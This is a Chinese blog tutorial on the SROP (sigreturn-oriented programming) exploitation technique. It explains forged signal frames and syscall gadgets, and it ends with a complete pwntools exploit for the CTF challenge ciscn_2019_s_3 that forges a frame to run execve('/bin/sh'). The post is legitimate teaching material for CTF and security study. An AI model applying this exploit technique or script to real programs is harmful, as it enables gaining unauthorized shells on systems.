浅析SROP:SigReturn Oriented Programming技术

简介

SROP(S for Sigreturn)技术在2014年被提出,论文原文在https://www.cs.vu.nl/~herbertb/papers/srop_sp14.pdf

其只需要一个syscall的gadget就能实现操控几乎全部的寄存器,相当强大

其利用前提是我们能够操控触发Sigreturn的gadget片段,比如: mov rax 值为15的syscall,又或者仅仅是调用syscall但却又有操控rax的片段,也是可以采用SROP的

原理

系统调用的发展简史

一开始,linux通过int 0x80技术来进入系统调用,但这种调用方式需要先通过调用方特权级别的检查,然后再进行压栈、跳转,这将会浪费很多资源

后来,linux 2.6的时候出现了sysenter和sysexit指令,可以快速进入系统调用而无需特权级别检查和压栈操作等,舍弃了安全性但速度很快

signal(此处指进入内核前进程发送给内核的信号)机制

每当有中断或者异常(进入系统调用的信号):

  • 内核将会向进程发送signal
  • 进程将会被挂起并进入内核
  • 内核为其保存执行的上下文(signal frame,SROP重点就是操控这里的上下文)
  • 最大的问题就是,这个signal frame发生于切态前,其只能保存在用户态,那么用户即使没有内核权限也能写入了

然后,当内核想要把执行权还给进程,就会调用sigreturn

毕竟是为了快捷地切态,sigreturn不会做任何检查,于是这里就有文章可以做了。

我们可以想办法控制这里的上下文(signal frame),那么就能控制相当大一部分的寄存器了。

看完以上内容,能通过signreturn触发getshell的signal frame长这样

如何控制signal frame来getshell

这里仅仅需要一个gadget:

syscall;retn;

这个gadget在一些老系统上是没有被随机化的,通常在vsycall,0xffffffffff600000 0 (10个f不用数了)

32位,只需要找 int 0x80就行,通常可以在vDSO找到,但这个地址有可能随机?

仅仅需要有以上一小段gadget,最后总体上分为以下步骤:

ctf版利用过程

0.存在栈溢出,可以操控ret指向到mov rax,0xf;syscall;ret;,当然只要满足条件都可以,不一定长这样

1.我们想方设法让rax为15,论文里面是直接read了15个字节以让rax返回成功读取的字节数,但ctf中不需要这么麻烦。在gadget后面跟上一个假的signal framesignal frame,这个pwntools可以方便地按格式去生成,

2.rax此时为15,此时执行syscall,则会启动sigreturn机制,此时就直接从我们伪造的signal frame(布置在此时栈顶即可)中读取了值来恢复环境,那么这里的新eip可控,等于是getshell了

real world版利用过程

下图为较为复杂但更贴合真实环境的利用,复杂在于限定条件是这样的:

我们只知道有栈溢出,而且只能控制这个gadget,没有别的gadget且没有已知地址且可控的内存区域的情况

更糟糕的是只能通过syscall;ret;来控制rax了,怎么做到的呢

0.存在栈溢出,可以操控ret指向到mov rax,0xf;syscall;ret;,当然只要满足条件都可以,不一定长这样

1.执行程序,第一轮ret到syscall;ret,此时我们布置恢复环境后的rip是gadget,并且rax为0,即sysread,且rsp和rsi同时指向想要写入的位置,这里是想写/bin/sh到已知地址的区域(图中known address),并且把栈顶迁移过去。把rdx即第三个参数设置为306,那之后就会读且返回306到rax上,这个rax对应syncfs系统调用是返回0的(可能根据不同系统版本变化),必定让rax返回值变为0,如果rax为0,那么再度触发syscall就是二度的read

2.第二次的sysread,写入我们想写的东西,比如:/bin/sh,或者shellcode让后面mprotect改权限为rwx跳转执行,

3.布置data以后,我们就获得了已知内容的已知指针,然后由于输入306个字节,read返回了306到rax上,此时又调用了一次syscall的调用号306,返回0到rax,再度获得sysread机会,

试想一下如果不是这样,那srop的链条就断了,我们必须一直保证rax为0才能连续srop

4.仅仅让sysread15个字节(通过换行符截断实现)以让rax返回成功读取的字节数,这样调用syscall我们就获得了一次sigreturn,此时signal frame紧紧挨着的是一个假的signal framesignal frame,这个pwntools可以方便地按格式去生成,此时我们可以操控全部寄存器了

5.那么最后一次ret到的地方,可以直接getshell,又或者mprotect然后写shellcode到rwx

pwntools封装的操控signal frame方法

记得设置好context的架构,这里signal frame的格式将会随之变化

sigFrame=SigreturnFrame() 
sigFrame.rax=59 //rop操控或者按论文的来
sigFrame.rdi=binsh //这个如果没有,需要自己布置到已知位置
sigFrame.rsi=0x0 
sigFrame.rdx=0x0 
sigFrame.rip=syscall_ret //syscall;ret;

例题:ciscn_2019_s_3

可以是ret2csu,简单来说就是比如,下图,高地址可以控制r13,那么我们可以跳回mov rdx,r13,从而控制rdx,外加一次泄露栈地址即可让edi受控为binsh,此处不赘述

但是听说居然有srop,就去翻书,翻博客,翻论文学习了一下,然后就有了上面的文字

这里可以直接操控rax为15

下面这个对于srop就显得没有太大作用,我们控制rax为15以后,rax随便控,但是这个提供了ret2csu可能性

而且有小段的syscall gadget

payload:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './ciscn_s_3'
debug = 0
if debug:
    run = remote('node5.buuoj.cn',25201)
else:
    run = process(file_name)

context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
    gdb.attach(run)
    pause()
    
elf = ELF(file_name)
main_addr = 0x4004ED
syscall_gadget = 0x400517
rax_sigreturn = 0x4004DA
#0x000000000400517   syscall;retn
#00000000004004DA    mov rax,15;retn

p1 = b'a'*0x10 + p64(main_addr)
run.sendline(p1)
run.recv(0x20) #null bytes between...
binsh = u64(run.recv(8)) - 0x148 #奇葩环境... 本地 -0x148,远程 -0x118
success('/bin/sh addr is:'+hex(binsh))
#dbg()

signframe = SigreturnFrame()
signframe.rax = 59
signframe.rdi = binsh
signframe.rsi = 0
signframe.rdx = 0
signframe.rip = syscall_gadget
p2 = b'/bin/sh\x00' + b'a'*8 + p64(rax_sigreturn) + p64(syscall_gadget) + bytes(signframe)
run.sendline(p2)
run.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
粤ICP备20015830号